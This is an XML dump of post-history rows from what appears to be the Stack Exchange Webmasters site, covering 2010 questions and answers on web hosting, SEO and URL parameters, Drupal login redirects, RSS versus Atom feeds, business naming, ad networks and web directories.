  <row Id="7573" PostHistoryTypeId="17" PostId="3857" RevisionGUID="2d3322d9-5dd6-4f76-92b1-9ac5ff4a1976" CreationDate="2010-10-15T00:04:03.243" UserId="-1" Comment="from http://stackoverflow.com/questions/3932048/frustrated-trying-to-find-a-hosting-company-for-my-net-site" Text="" />
  <row Id="7574" PostHistoryTypeId="16" PostId="3857" RevisionGUID="d7c38116-ce00-401f-b4c9-775a82ea5f8d" CreationDate="2010-10-15T00:21:07.997" UserId="180" />
  <row Id="7575" PostHistoryTypeId="6" PostId="3857" RevisionGUID="d7c38116-ce00-401f-b4c9-775a82ea5f8d" CreationDate="2010-10-15T00:21:07.997" UserId="180" Comment="edited tags" Text="&lt;web-hosting&gt;&lt;asp.net&gt;" />
  <row Id="7576" PostHistoryTypeId="2" PostId="3862" RevisionGUID="9d950b2e-c342-41d6-8891-501f9fec2435" CreationDate="2010-10-15T01:02:18.277" UserId="233" Text="There is really only one rule: **If the page content doesn't change when the parameter changes, then tell Google to ignore it.**&#xD;&#xA;&#xD;&#xA;Your `returnurl` example is a good one - I assume the page doesn't change at all, so tell Googlebot to ignore that parameters in Webmaster Tools. (Actually Google is pretty good at detecting these anyway.)&#xD;&#xA;&#xD;&#xA;But for `page` - definitely do not ignore this! You need the search engines to parse all your pages to find the links to the content." />
  <row Id="7577" PostHistoryTypeId="5" PostId="3861" RevisionGUID="8770505c-968a-4b70-8e0b-36e2b127b130" CreationDate="2010-10-15T05:06:07.810" UserId="180" Comment="unlinked" Text="You may want to give WinHost (http://winhost.com) a look. We support everything you're looking for starting at $4.95/month. If you have any questions about us feel free to drop us a line.&#xD;&#xA;" />
  <row Id="7578" PostHistoryTypeId="5" PostId="3641" RevisionGUID="0bc1ae80-d0cc-46ec-b20d-c8e6a1f15a21" CreationDate="2010-10-15T10:07:24.520" UserId="196" Comment="generalized the question" Text="I have an idea to use a (cc-by-sa) data dump from another site, where I will experiment with new ideas.&#xD;&#xA;This would still be a site with almost 99% of the data similar.&#xD;&#xA;&#xD;&#xA;I can see two &quot;rules&quot; that search engines may apply&#xD;&#xA;&#xD;&#xA; * Don't duplicate content&#xD;&#xA; * Dont send different data to the bot and the ordinary visitors&#xD;&#xA;&#xD;&#xA;Links to the original site will be present as required by the data dump.&#xD;&#xA;&#xD;&#xA;If only the titles and other new data is shown to the bot it would solve the first rule but would that violate the second? Or should I simply put these pages in a robots.txt banned area?&#xD;&#xA;Would this be going to far.&#xD;&#xA;&#xD;&#xA;I don't care about ranking, only not to be banned.&#xD;&#xA;It should be found if people were specifically looking for alternate voting schemes, from new content that I generate." />
  <row Id="7579" PostHistoryTypeId="2" PostId="3863" RevisionGUID="c95883de-6c49-4d7d-8ee6-dde39e027a17" CreationDate="2010-10-15T10:35:10.290" UserId="1089" Text="I know from reading Coding Horror one of the reasons stackoverflow set up was&#xD;&#xA;&#xD;&#xA;&quot;[Stackoverflow is sort of like the anti-experts-exchange (minus the nausea-inducing sleaze and quasi-legal search engine gaming)][1]&quot;&#xD;&#xA;&#xD;&#xA;So, my question is about the quasi-legal gaming.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;http://www.experts-exchange.com/Web_Development/Web_Languages-Standards/CSS/Q_26543171.html&#xD;&#xA;&#xD;&#xA;No answers displayed, have to sign up and/or pay to see them.&#xD;&#xA;&#xD;&#xA;Then google search for CSS scroll range and select the first result&#xD;&#xA;http://www.google.co.uk/search?hl=en&amp;source=hp&amp;q=CSS+scroll+range&#xD;&#xA;&#xD;&#xA;If you scroll right to the bottom of the screen, there are the answers!&#xD;&#xA;&#xD;&#xA;So in essence, if you are coming from google you can see the answer, if you go directly to the experts exchange site and search for the answer you have to either be an active participant and earn the right to see the answer, or get it directly by paying.&#xD;&#xA;&#xD;&#xA;How/why aren't they penalised for this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.codinghorror.com/blog/2008/04/introducing-stackoverflow-com.html" />
  <row Id="7580" PostHistoryTypeId="1" PostId="3863" RevisionGUID="c95883de-6c49-4d7d-8ee6-dde39e027a17" CreationDate="2010-10-15T10:35:10.290" UserId="1089" Text="How does experts exchange get away with tricking google/users?" />
  <row Id="7581" PostHistoryTypeId="3" PostId="3863" RevisionGUID="c95883de-6c49-4d7d-8ee6-dde39e027a17" CreationDate="2010-10-15T10:35:10.290" UserId="1089" Text="&lt;google&gt;&lt;site-ranking&gt;" />
  <row Id="7582" PostHistoryTypeId="2" PostId="3864" RevisionGUID="0ca4a6f9-83b3-428c-ac5b-027cbe6c79eb" CreationDate="2010-10-15T12:02:00.017" UserId="1953" Text="This is actually a function built in by Google originally to help newspapers etc. It's called &quot;first page free&quot;. News sites want their content to be indexed by Google so they can get search traffic, however, Google does not want to send users to a login page, so they compromised Google will index content that is normally blocked by a pay wall in exchange the publication is required to show the full content of that page to any visitor from Google.  If you try navigating to another set of answers it will probably require to you login unless you go back to Google and search for it." />
  <row Id="7583" PostHistoryTypeId="2" PostId="3865" RevisionGUID="56fea3fe-b88a-49d0-907e-1446de46104e" CreationDate="2010-10-15T12:07:11.150" UserId="2443" Text="I want host my web site using oscommerce on centos, we have our own server at our office on that we have install centos 5.5 with LAMP, we want to host a web site using our live ip oscommerce if any one have step by step how to for oscommerce on centos pls share with us. &#xD;&#xA;&#xD;&#xA;we have unzip oscommerce.zip -d /var/www/html/ we can see the admin page &#xD;&#xA;&#xD;&#xA;when people see from out side also its come admin page to them what to do we dont know " />
  <row Id="7584" PostHistoryTypeId="1" PostId="3865" RevisionGUID="56fea3fe-b88a-49d0-907e-1446de46104e" CreationDate="2010-10-15T12:07:11.150" UserId="2443" Text="Using oscommerce " />
  <row Id="7585" PostHistoryTypeId="3" PostId="3865" RevisionGUID="56fea3fe-b88a-49d0-907e-1446de46104e" CreationDate="2010-10-15T12:07:11.150" UserId="2443" Text="&lt;web-hosting&gt;&lt;lamp&gt;&lt;oscommerce&gt;" />
  <row Id="7586" PostHistoryTypeId="2" PostId="3866" RevisionGUID="4a8d9f76-ac04-4d37-af82-770081706a60" CreationDate="2010-10-15T12:32:22.357" UserId="1953" Text="Depending on your skill level you may want to check out Rackspace Cloud. I have used their apache servers and see that they have started offering windows. They are completely self managed which means you can configure them to support pretty much anything, and because they are self managed they are inexpensive. When I've had questions they were very responsive, however, they are somewhat limited in what questions they are able to answer since you build the server yourself from the ground up they don't always know how to fix every possible configuration." />
  <row Id="7590" PostHistoryTypeId="2" PostId="3868" RevisionGUID="9ebda3da-50f7-4b56-82dd-3760878661b5" CreationDate="2010-10-15T13:27:20.147" UserId="1253" Text="A quick [Google search turns up lots of tutorials][1]. [This one came up first][2] and looks good.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=install+oscommerce&#xD;&#xA;  [2]: http://forums.oscommerce.com/topic/162231-quick-install-guide/" />
  <row Id="7591" PostHistoryTypeId="2" PostId="3869" RevisionGUID="2d31d891-6f26-4b6b-b666-fdcf1b07a9b4" CreationDate="2010-10-15T13:55:59.147" UserId="437" Text="I'm leaning towards atom but I'm not sure." />
  <row Id="7592" PostHistoryTypeId="1" PostId="3869" RevisionGUID="2d31d891-6f26-4b6b-b666-fdcf1b07a9b4" CreationDate="2010-10-15T13:55:59.147" UserId="437" Text="Should I provide RSS or Atom feeds?" />
  <row Id="7593" PostHistoryTypeId="3" PostId="3869" RevisionGUID="2d31d891-6f26-4b6b-b666-fdcf1b07a9b4" CreationDate="2010-10-15T13:55:59.147" UserId="437" Text="&lt;rss&gt;&lt;feeds&gt;" />
  <row Id="7594" PostHistoryTypeId="2" PostId="3870" RevisionGUID="5958b73d-8dc4-4223-ad8c-064905554575" CreationDate="2010-10-15T14:35:49.177" UserId="2288" Text="**ISSUE:** Please help, I've tried a few things to get Drupal to STOP going to the User Prolfile page on login, even installed a module called LoginToboggan; which has nice features, just doesn't stop Drupal from sending all users that login to the their User Profile page. **Just to be clear,** LoginToboggan's &quot;optionally redirect [of] the user to a specific page when using the 'immediate login' feature&quot; -- is ONLY for new users, not existing users... Yes, I know, makes no sense.&#xD;&#xA;&#xD;&#xA;**GOAL:** Just need to be able to set the login page; don't did to set the page load based on role, but hey, that would be nice if it's not crazy complex.&#xD;&#xA;&#xD;&#xA;**Related Links:** &#xD;&#xA;[Drupal][1]&#xD;&#xA;[LoginToboggan][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org&#xD;&#xA;  [2]: http://drupal.org/project/logintoboggan" />
  <row Id="7595" PostHistoryTypeId="1" PostId="3870" RevisionGUID="5958b73d-8dc4-4223-ad8c-064905554575" CreationDate="2010-10-15T14:35:49.177" UserId="2288" Text="How of you get Drupal to go to a page other than the User Profile on login?" />
  <row Id="7596" PostHistoryTypeId="3" PostId="3870" RevisionGUID="5958b73d-8dc4-4223-ad8c-064905554575" CreationDate="2010-10-15T14:35:49.177" UserId="2288" Text="&lt;php&gt;&lt;cms&gt;&lt;drupal&gt;&lt;login&gt;" />
  <row Id="7597" PostHistoryTypeId="2" PostId="3871" RevisionGUID="bfb7b8a2-9b6f-417a-b959-7e5b86f7dcf1" CreationDate="2010-10-15T14:37:49.977" UserId="2448" Text="Marco: Your user page only has 5 words on it (really only 4 since &quot;a&quot; is a stop word) the rest is an autogenerated user page. If your goal is to organize the world's information, how useful is such a page?&#xD;&#xA;&#xD;&#xA;I checked several of the &quot;page one&quot; users and all had added a significant amount of information to their user pages, as did the other example you gave. Perhaps you should add a few paragraphs about yourself? Without that, your user page is nothing but a page full of (mostly) internal links." />
  <row Id="7598" PostHistoryTypeId="5" PostId="3870" RevisionGUID="e1d1427c-077d-43f8-bcdd-cd075a0cb8bf" CreationDate="2010-10-15T14:48:54.933" UserId="2288" Comment="deleted 4 characters in body" Text="**ISSUE:** Please help, I've tried a few things to get Drupal to STOP going to the User Prolfile page on login, even installed a module called LoginToboggan; which has nice features, just doesn't stop Drupal from sending all users that login to their User Profile page. **Just to be clear,** LoginToboggan's &quot;optionally redirect [of] the user to a specific page when using the 'immediate login' feature&quot; -- is ONLY for new users, not existing users... Yes, I know, makes no sense.&#xD;&#xA;&#xD;&#xA;**GOAL:** Just need to be able to set the login page; don't did to set the page load based on role, but hey, that would be nice if it's not crazy complex.&#xD;&#xA;&#xD;&#xA;**Related Links:** &#xD;&#xA;[Drupal][1]&#xD;&#xA;[LoginToboggan][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org&#xD;&#xA;  [2]: http://drupal.org/project/logintoboggan" />
  <row Id="7599" PostHistoryTypeId="2" PostId="3872" RevisionGUID="146aa3f0-5257-41a0-86d8-7ae612e135ad" CreationDate="2010-10-15T14:54:26.433" UserId="2288" Text="Figured it out. So, you: &#xD;&#xA;&#xD;&#xA;(1) Create a PAGE,&#xD;&#xA;(2) Have the default login module ONLY display on the PAGE using the BLOCK config settings.&#xD;&#xA;(3) On load have BLOCKS set to ONLY display content to users of that ROLE.&#xD;&#xA;&#xD;&#xA;Please comment if that doesn't make sense, OR post another answer if there's a better solution. Thanks!!" />
  <row Id="7600" PostHistoryTypeId="5" PostId="3872" RevisionGUID="4ac2df18-caf1-40da-a2bd-5332a11a9b12" CreationDate="2010-10-15T15:00:28.150" UserId="2288" Comment="added 179 characters in body" Text="Figured it out. So, you: &#xD;&#xA;&#xD;&#xA;**SETTING IT UP:**&#xD;&#xA;&#xD;&#xA; 1. Create a PAGE, &#xD;&#xA; 2. Have the default login module ONLY display on the PAGE using the BLOCK config settings. &#xD;&#xA; 3. On load have BLOCKS set to ONLY display content to users of that ROLE.&#xD;&#xA;&#xD;&#xA;**ISSUES:** Down side is that a user that has NOT login in will see the page TITLE, and a user that is able to login will see the same page TITLE. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Please comment if that doesn't make sense, OR post another answer if there's a better solution. Thanks!!" />
  <row Id="7601" PostHistoryTypeId="2" PostId="3873" RevisionGUID="72e9e6d9-d1f7-4f7f-9570-42e39bd8f671" CreationDate="2010-10-15T15:01:45.350" UserId="1253" Text="Why not offer both? It's not hard to do and you give users a choice between:&#xD;&#xA;&#xD;&#xA;- Atom - More precise then RSS&#xD;&#xA;&#xD;&#xA;- RSS - The defacto standard for content syndication&#xD;&#xA;&#xD;&#xA;Then someone can choose which best suits their needs. If they're not sure, then it won't matter to them anyway.&#xD;&#xA;&#xD;&#xA;But if you *had* to choose, go with RSS. It's by far the most widely used and the odds are your users won't know the difference between RSS and Atom and thus won't be using Atom's extra features." />
  <row Id="7602" PostHistoryTypeId="5" PostId="3873" RevisionGUID="e5c1691c-249f-42bd-9bd7-6f34e7c48312" CreationDate="2010-10-15T15:08:43.827" UserId="1253" Comment="added 7 characters in body" Text="Why not offer both? It's not hard to do and you give users a choice between:&#xD;&#xA;&#xD;&#xA;- Atom - More precise then RSS&#xD;&#xA;&#xD;&#xA;- RSS - The defacto standard for content syndication&#xD;&#xA;&#xD;&#xA;Then someone can choose which best suits their needs. If they're not sure, then it won't matter to them anyway.&#xD;&#xA;&#xD;&#xA;But if you *had* to choose, go with RSS. It's by far the most widely used and the odds are your users won't know the difference between RSS and Atom and thus won't be using Atom's extra features anyway." />
  <row Id="7603" PostHistoryTypeId="2" PostId="3874" RevisionGUID="f207a884-28a3-4010-b7ff-73d5d174d964" CreationDate="2010-10-15T15:27:09.857" UserId="1974" Text="Hi im about to set up a website to sell my skills. I already own a domain in my name e.g. www.firstnamelastname.com but i see other businesses around my area using a made up title e.g. something like www.midlanddesigns.com . Im wondering does it make a difference? Would setting it up under a personal name make it more personal to customers? Or would a made up title look more attractive? &#xD;&#xA;&#xD;&#xA;What do you guys think?" />
  <row Id="7604" PostHistoryTypeId="1" PostId="3874" RevisionGUID="f207a884-28a3-4010-b7ff-73d5d174d964" CreationDate="2010-10-15T15:27:09.857" UserId="1974" Text="web design business: use my personal name or create a business name. which will attract more customers?" />
  <row Id="7605" PostHistoryTypeId="3" PostId="3874" RevisionGUID="f207a884-28a3-4010-b7ff-73d5d174d964" CreationDate="2010-10-15T15:27:09.857" UserId="1974" Text="&lt;business-models&gt;" />
  <row Id="7606" PostHistoryTypeId="2" PostId="3875" RevisionGUID="f566bceb-d1f5-402b-95e8-292cde2c17e7" CreationDate="2010-10-15T15:42:58.780" UserId="2454" Text="i have a blog, i want to display ads and earn money as part time work. Can you suggest me which ads bring up more revenue except Google ads?" />
  <row Id="7607" PostHistoryTypeId="1" PostId="3875" RevisionGUID="f566bceb-d1f5-402b-95e8-292cde2c17e7" CreationDate="2010-10-15T15:42:58.780" UserId="2454" Text="Which ads return more revenue" />
  <row Id="7608" PostHistoryTypeId="3" PostId="3875" RevisionGUID="f566bceb-d1f5-402b-95e8-292cde2c17e7" CreationDate="2010-10-15T15:42:58.780" UserId="2454" Text="&lt;google&gt;&lt;advertising&gt;&lt;google-adsense&gt;&lt;blog&gt;" />
  <row Id="7609" PostHistoryTypeId="2" PostId="3876" RevisionGUID="3c6efc19-611f-4d89-bb38-2a4ce288bc90" CreationDate="2010-10-15T15:44:22.523" UserId="108" Text="I think in the end there isn't a huge difference. Here are the things I have considered in the process myself:&#xD;&#xA;&#xD;&#xA; 1. Are you selling a specific product(s) with your company? If you are using your name, it won't differentiate your company from others.&#xD;&#xA; 2. Do you plan to grow the company to a large non-regional size?  Again using your name can be a detriment in those cases.&#xD;&#xA; 3. Do you plan on selling consulting/contract services associated to you or eventually a small team of people that report to you?  If you do using your name has a lot of value as you essentially become a local brand.&#xD;&#xA; 4. Do you ever plan on selling the company?  Using your name may make people less willing to buy it as you are essentially a piece of the company and owning the company without you would probably require a name change.&#xD;&#xA;&#xD;&#xA;One thing to consider as well, do you ever think you will have family members working at your company?  I have seen a lot of marketing firms just use their initials and their last name.  For example J Doe Design or CR Smith Web Development.  This solves a number of issues because you name is on the company but it isn't 100% tied to you.  &#xD;&#xA;&#xD;&#xA;It gives you more room if you hire relatives or children because if you are John Doe and your daughter is Jane Doe,then J Doe covers you both.  Even if the family member doesn't have the same initials people won't often question it under the assumption the other family member is using a nickname.&#xD;&#xA;&#xD;&#xA;It also gives you the ability to sell the company and the name won't matter.  Someone off the street won't know that you are the J Doe that used to own J Doe Web Development.&#xD;&#xA;&#xD;&#xA;Adding in the Web Development, Development, Design, etc gives some clue as to what your company does so it isn't confused with a J Doe Insurance company that opens in the future.&#xD;&#xA;&#xD;&#xA;If you look around at companies big and small most of the ones you that use a persons first and last name are built of the brand of the person because that person is a celebrity at some level.&#xD;&#xA;&#xD;&#xA;Finally, don't get analysis paralysis about the name.  If you decide in the future you don't like it your want to create a specific product you can always create another company or create a DBA (doing business as) to cover the change you want.  Many companies use DBAs all the time." />
  <row Id="7610" PostHistoryTypeId="2" PostId="3877" RevisionGUID="aabc0f96-0c4e-4845-8e25-665b3c3a51bd" CreationDate="2010-10-15T15:50:02.663" UserId="17" Text="Knowing the topic you are blogging about is helpful but,&#xD;&#xA;&#xD;&#xA;The best way to find other ad suppliers is to look at other popular sites that blog on your topic. See who they are affiliated with.&#xD;&#xA;&#xD;&#xA;Because there are so many ad networks out there I have found this to be the best way. There are just too many places to choose from. " />
  <row Id="7611" PostHistoryTypeId="2" PostId="3878" RevisionGUID="e447523c-ced3-4795-aba1-7e386ab1ee99" CreationDate="2010-10-15T15:50:15.660" UserId="108" Text="Google doesn't know that Experts Exchange is doing this because Experts Exchange only shows questions with answers to Google.&#xD;&#xA;&#xD;&#xA;It used to be the case that Experts Exchange would hide the answers from the user but Google caught on to the tricks that Experts Exchange and other sites were using and EE had to change or risk showing up on fewer SERP pages." />
  <row Id="7612" PostHistoryTypeId="2" PostId="3879" RevisionGUID="b0e31031-423e-4f53-842d-c6e57e8f1248" CreationDate="2010-10-15T15:52:30.257" UserId="108" Text="Another thing to look into is Ad Affiliate programs for your site.  If you have enough visitors Ad Affiliate companies will pay you to put specific ads on your site.  &#xD;&#xA;&#xD;&#xA;Google Affiliate Ad programs and you will have a number of companies to look into. " />
  <row Id="7613" PostHistoryTypeId="2" PostId="3880" RevisionGUID="5864d356-8de1-4b95-a67d-8829e79989ee" CreationDate="2010-10-15T15:56:31.343" UserId="2455" Text="I've been looking around for some web directories to list my company in that would 1) Feed more traffic to my website and 2) Increase my search rankings due to being a quality referral to my own website.&#xD;&#xA;&#xD;&#xA;There are many sites out there offering these services for all types of companies, but are there any which you would definitely use without worrying about wasting your cash?&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="7614" PostHistoryTypeId="1" PostId="3880" RevisionGUID="5864d356-8de1-4b95-a67d-8829e79989ee" CreationDate="2010-10-15T15:56:31.343" UserId="2455" Text="Which web directories can I reliably invest in to increase my traffic and search ranking?" />
  <row Id="7615" PostHistoryTypeId="3" PostId="3880" RevisionGUID="5864d356-8de1-4b95-a67d-8829e79989ee" CreationDate="2010-10-15T15:56:31.343" UserId="2455" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;traffic&gt;" />
  <row Id="7616" PostHistoryTypeId="2" PostId="3881" RevisionGUID="eb0273b3-d94d-49ae-a3e6-f9f2c76ef4e9" CreationDate="2010-10-15T16:02:27.533" UserId="108" Text="I would suggest:&#xD;&#xA;&#xD;&#xA; - http://www.business.com/&#xD;&#xA; - http://dir.yahoo.com/&#xD;&#xA; - http://www.dmoz.org/&#xD;&#xA;&#xD;&#xA;Beyond those three, I would not be willing to pay as it could not help you at all.  Google tends to give very low PR for incoming links from sites known to be paid directory sites." />
  <row Id="7617" PostHistoryTypeId="2" PostId="3882" RevisionGUID="ffdac0d4-f2ba-46d6-9e0f-bfbf3ea18a11" CreationDate="2010-10-15T16:07:40.003" UserId="1253" Text="In addition to those above, some second tier directories to consider:&#xD;&#xA;&#xD;&#xA; - [Best of the Web][1]&#xD;&#xA; - [JoeAtn][2]&#xD;&#xA; - [GoGuides][3]&#xD;&#xA;&#xD;&#xA;They don't deliver as much traffic as the ones mentioned above, but they do deliver traffic and cost a lot less so the value of your investment is probably the same.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.botw.org/&#xD;&#xA;  [2]: http://www.joeant.com/&#xD;&#xA;  [3]: http://www.goguides.org/" />
  <row Id="7618" PostHistoryTypeId="5" PostId="3882" RevisionGUID="eb3e61a5-4075-416d-b203-ec2663a6b074" CreationDate="2010-10-15T16:23:37.893" UserId="1253" Comment="edited body" Text="In addition to those above, some second tier directories to consider:&#xD;&#xA;&#xD;&#xA; - [Best of the Web][1]&#xD;&#xA; - [JoeAnt][2]&#xD;&#xA; - [GoGuides][3]&#xD;&#xA;&#xD;&#xA;They don't deliver as much traffic as the ones mentioned above, but they do deliver traffic and cost a lot less so the value of your investment is probably the same.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.botw.org/&#xD;&#xA;  [2]: http://www.joeant.com/&#xD;&#xA;  [3]: http://www.goguides.org/" />
  <row Id="7619" PostHistoryTypeId="2" PostId="3883" RevisionGUID="941f75dd-f34f-4505-98fd-fa572dae7d65" CreationDate="2010-10-15T17:14:41.923" UserId="1074" Text="Ads depend on:&#xD;&#xA;&#xD;&#xA; 1. topic relevance&#xD;&#xA; 2. position&#xD;&#xA; 3. traffic&#xD;&#xA; 4. cost&#xD;&#xA;&#xD;&#xA;Without a good combination of the factors, you're not going to be making much.  The sticky thing about ads is if you over or under-do any one thing, you're going to suffer.  For example, charge too much and nobody will be buying (not an issue with a network where they tell you what they'll pay)  Charge too little and you'll have no inventory to sell.  If you position the ads way at the bottom or bury the site with ads, forget it, nobody will see them.  Without traffic or content, nobody will show in the first place.  And finally, showing ads about cooking on a car website likely won't get you anywhere either.&#xD;&#xA;&#xD;&#xA;So, it's really up to you to built, tweak, repeat until you've got them working right.  It's not as easy as it might seem." />
  <row Id="7620" PostHistoryTypeId="5" PostId="3870" RevisionGUID="ca8e0c8c-96c3-4bf3-8e5e-7b306e194c7f" CreationDate="2010-10-15T17:15:26.320" UserId="2288" Comment="added 1 characters in body; added 5 characters in body; added 138 characters in body" Text="**ISSUE:** Please help, I've tried a few things to get Drupal to STOP going to the User Prolfile page on login, even installed a module called LoginToboggan; which has nice features, just doesn't stop Drupal from sending all users that login to their User Profile page. **Just to be clear,** LoginToboggan's &quot;optionally redirect [of] the user to a specific page when using the 'immediate login' feature&quot; -- is ONLY for new users, not existing users... Yes, I know, makes no sense.&#xD;&#xA;&#xD;&#xA;**GOAL:** Just need to be able to set the login page; don't need to set the page load based on role, but hey, that would be nice if it's not crazy complex.&#xD;&#xA;&#xD;&#xA;**Related Links:** &#xD;&#xA;&#xD;&#xA; - [Drupal][1] &#xD;&#xA;&#xD;&#xA; - [LoginToboggan][2]&#xD;&#xA;&#xD;&#xA;**UPDATE:** Figured out a fix based on my needs, see my answer below. Please feel free to comment, and/or post another answer. Thanks!&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org&#xD;&#xA;  [2]: http://drupal.org/project/logintoboggan" />
  <row Id="7621" PostHistoryTypeId="2" PostId="3884" RevisionGUID="48d1ea84-2774-4f60-9fb1-a8762dff2c0a" CreationDate="2010-10-15T17:24:12.037" UserId="2288" Text="**My take:** I would say it really depends on the services/producte/etc you provide. For example, if you provided services to a limited geographic area, I'd focus on locality based directories. If you're selling software online, then I'd focus on directories that rate/list software. &#xD;&#xA;&#xD;&#xA;Moral of the sort, identify directories that relate to the industry or market you're in -- since those will give you the best run for your time and money.&#xD;&#xA;&#xD;&#xA;**(The above was based on doing directory listings for 1000+ small businesses.)**&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7622" PostHistoryTypeId="5" PostId="3884" RevisionGUID="b9a81fc6-6540-4565-a489-62debdc699fe" CreationDate="2010-10-15T17:30:04.793" UserId="2288" Comment="added 237 characters in body; added 2 characters in body; edited body" Text="**My take:** I would say it really depends on the services/products/etc you provide. For example, if you provided services to a limited geographic area, I'd focus on locality based directories. If you're selling software online, then I'd focus on directories that rate/list software. &#xD;&#xA;&#xD;&#xA;Moral of the sort, identify directories that relate to the industry or market you're in -- since those will give you the best run for your time and money.&#xD;&#xA;&#xD;&#xA;**(The above was based on doing directory listings for 1000+ small businesses.)**&#xD;&#xA;&#xD;&#xA;**PS:** FYI, http://dir.google.com is NOT the same data as http://dmoz.org, based on my understanding. Plus, Google's directory has more link, and... guessing Google treats links from it's own directory just a little better SEO wise... :-)" />
  <row Id="7623" PostHistoryTypeId="4" PostId="3870" RevisionGUID="21206426-eae6-4b52-86a6-505db629cf9d" CreationDate="2010-10-15T17:31:41.670" UserId="2288" Comment="edited title" Text="How do you get Drupal to go to a page other than the User Profile on login?" />
  <row Id="7624" PostHistoryTypeId="5" PostId="3872" RevisionGUID="3ffd09ad-e75d-49ca-abd5-cd1523e266b9" CreationDate="2010-10-15T17:32:32.993" UserId="2288" Comment="added 4 characters in body; deleted 3 characters in body" Text="Figured it out. So, you: &#xD;&#xA;&#xD;&#xA;**SETTING IT UP:**&#xD;&#xA;&#xD;&#xA; 1. Create a PAGE, &#xD;&#xA; 2. Have the default login module ONLY display on the PAGE using the BLOCK config settings. &#xD;&#xA; 3. On load have BLOCKS set to ONLY display content to users of that ROLE.&#xD;&#xA;&#xD;&#xA;**ISSUES:** Down side is that a user that has NOT logged in will see the page TITLE, and a user that is able to login will see the same page TITLE. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Please comment if that doesn't make sense, OR post another answer if there's a better solution. Thanks!!" />
  <row Id="7625" PostHistoryTypeId="5" PostId="3884" RevisionGUID="3db561aa-f928-4c8a-aee5-b4f18d39833c" CreationDate="2010-10-15T17:35:34.240" UserId="2288" Comment="deleted 7 characters in body" Text="**My take:** I would say it really depends on the services/products/etc you provide. For example, if you provided services to a limited geographic area, I'd focus on locality based directories. If you're selling software online, then I'd focus on directories that rate/list software. &#xD;&#xA;&#xD;&#xA;Simply put, identify directories that relate to the industry or market you're in -- since those will give you the best run for your time and money.&#xD;&#xA;&#xD;&#xA;**(The above was based on doing directory listings for 1000+ small businesses.)**&#xD;&#xA;&#xD;&#xA;**PS:** FYI, http://dir.google.com is NOT the same data as http://dmoz.org, based on my understanding. Plus, Google's directory has more link, and... guessing Google treats links from it's own directory just a little better SEO wise... :-)" />
  <row Id="7626" PostHistoryTypeId="2" PostId="3885" RevisionGUID="9b9ea49e-c0b4-4e54-a509-69e82386e6fe" CreationDate="2010-10-15T17:42:21.813" UserId="2276" Text="I got a preety noobish question..&#xD;&#xA;I have a web site and most of the content that is shown to a user is drawn from a database..&#xD;&#xA;And the pages that i sent to eg. google to index have a querystring in their url..&#xD;&#xA;&#xD;&#xA;Meaning when the page is opened, most of the content shown is from a database using a query, and that query's key info is from querystring..&#xD;&#xA;&#xD;&#xA;Does eg. googlebot index a page WITH the content from the database, or just the plain html content before the server side activity is done?&#xD;&#xA;&#xD;&#xA;Tnx for the anwsers, and sorry for the noobish question :)" />
  <row Id="7627" PostHistoryTypeId="1" PostId="3885" RevisionGUID="9b9ea49e-c0b4-4e54-a509-69e82386e6fe" CreationDate="2010-10-15T17:42:21.813" UserId="2276" Text="SEO-bots content reading question" />
  <row Id="7628" PostHistoryTypeId="3" PostId="3885" RevisionGUID="9b9ea49e-c0b4-4e54-a509-69e82386e6fe" CreationDate="2010-10-15T17:42:21.813" UserId="2276" Text="&lt;seo&gt;" />
  <row Id="7629" PostHistoryTypeId="2" PostId="3886" RevisionGUID="6ef6f10e-0ddf-49c1-8a16-e467b61dc058" CreationDate="2010-10-15T17:45:29.937" UserId="1253" Text="The search engines see what your users see as they are no different from them. They request a page and the page's content is delivered to them. Remember, server side stuff happens *before* the page is served." />
  <row Id="7630" PostHistoryTypeId="5" PostId="3886" RevisionGUID="2ddb3866-1233-41a7-99c2-a2c588b46e85" CreationDate="2010-10-15T17:51:08.617" UserId="1253" Comment="added 243 characters in body" Text="The search engines see what your users see as they are no different from them. They request a page and the page's content is delivered to them. Remember, server side stuff happens *before* the page is served.&#xD;&#xA;&#xD;&#xA;Query strings are part of the URL and search engines always include them when crawling a site so unless you link to the page without the query string, or submit it without it, they will only crawl the pages with the query strings in place." />
  <row Id="7631" PostHistoryTypeId="5" PostId="3885" RevisionGUID="fe0e9377-5a3a-4eea-93da-f2d082de8f24" CreationDate="2010-10-15T17:51:29.717" UserId="2276" Comment="deleted 4 characters in body" Text="I got a preety noobish question..&#xD;&#xA;I have a web site and most of the content that is shown to a user is drawn from a database..&#xD;&#xA;And the pages that i sent to eg. google to index have a querystring in their url..&#xD;&#xA;&#xD;&#xA;Meaning when the page is opened, most of the content shown is from a database using a query, and querys key info is from a querystring..&#xD;&#xA;&#xD;&#xA;Does eg. googlebot index a page WITH the content from the database, or just the plain html content before the server side activity is done?&#xD;&#xA;&#xD;&#xA;Tnx for the anwsers, and sorry for the noobish question :)" />
  <row Id="7632" PostHistoryTypeId="6" PostId="3885" RevisionGUID="b002d560-de07-40b7-a2fb-ec49ae49a284" CreationDate="2010-10-15T17:53:27.683" UserId="180" Comment="edited tags" Text="&lt;search-engines&gt;&lt;dynamic&gt;" />
  <row Id="7633" PostHistoryTypeId="2" PostId="3888" RevisionGUID="fd51ad5b-e5b0-4cf1-9d58-c02b2c82ac14" CreationDate="2010-10-14T20:11:30.483" UserDisplayName="Andy Lester" Text="Search engines don't care about case.&#xD;&#xA;&#xD;&#xA;Rather than navel gazing about whether you should use mixed case or all lower, work on real search engine optimization, which is creating content that give people a reason to visit your site." />
